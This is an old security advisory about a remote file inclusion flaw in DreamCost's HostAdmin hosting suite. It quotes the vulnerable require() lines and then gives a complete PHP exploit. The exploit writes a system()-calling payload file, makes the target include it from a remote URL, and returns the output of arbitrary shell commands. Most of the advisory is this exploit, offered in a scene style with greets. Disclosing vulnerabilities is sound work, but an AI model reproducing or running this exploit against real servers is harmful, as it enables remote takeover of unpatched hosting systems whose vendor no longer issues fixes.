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XOR Crew :: Security Advisory 2/11/2006
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HostAdmin - Remote Command Execution Vulnerability
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http://www.xorcrew.net/
http://www.xorcrew.net/ReZEN
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:: Summary
Vendor : DreamCost
Vendor Site :
http://www.dreamcost.com/
Product(s) : HostAdmin - Automated Hosting Suite
Version(s) : All
Severity : Medium/High
Impact : Remote Command Execution
Release Date : 2/11/2006
Credits : ReZEN (rezen (a) xorcrew (.) net)
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I. Description
By creating a product that integrates with the major payment processors, registrars,
and provisioning tools on the market, HostAdmin gives your hosting company the power
to bill and activate hosting accounts in real-time, even while you sleep at night!
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II. Synopsis
There is a remote file inclusion vulnerability that allows for remote command execution
in the index.php file. The bug is here on lines 5, 6, and 7:
require("setup.php");
require("functions.php");
require("db.conf");
require($path . "que.php");
require($path . "provisioning_manager.php");
require($path . "registrar_manager.php");
the $path variable is not set prior to being used in the require() function.
The vendor is no longer offering updates for this software.
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Exploit code:
-----BEGIN-----
<?php
/*
HostAdmin Remote File Inclusion Exploit c0ded by ReZEN
Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf
url:
http://www.xorcrew.net/ReZEN
*/
$cmd = $_POST["cmd"];
$turl = $_POST["turl"];
$hurl = $_POST["hurl"];
$form= "<form method=\"post\" action=""
."turl:<br><input type=\"text\" name=\"turl\" size=\"90\" value=\"".$turl."\"><br>"
."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\" value=\"".$hurl."\"><br>"
."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"><br>"
."<input type=\"submit\" value=\"Submit\" name=\"submit\">"
."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";
if (!isset($_POST['submit']))
{
echo $form;
}else{
$file = fopen ("test.txt", "w+");
fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\");
system(\"echo ++END++\"); ?>");
fclose($file);
$file = fopen ($turl.$hurl, "r");
if (!$file) {
echo "<p>Unable to get output.\n";
exit;
}
echo $form;
while (!feof ($file)) {
$line .= fgets ($file, 1024)."<br>";
}
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;
}
?>
------END------
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IV. Greets :>
All of xor, Infinity, stokhli, ajax, gml, cijfer, my beautiful girlfriend.
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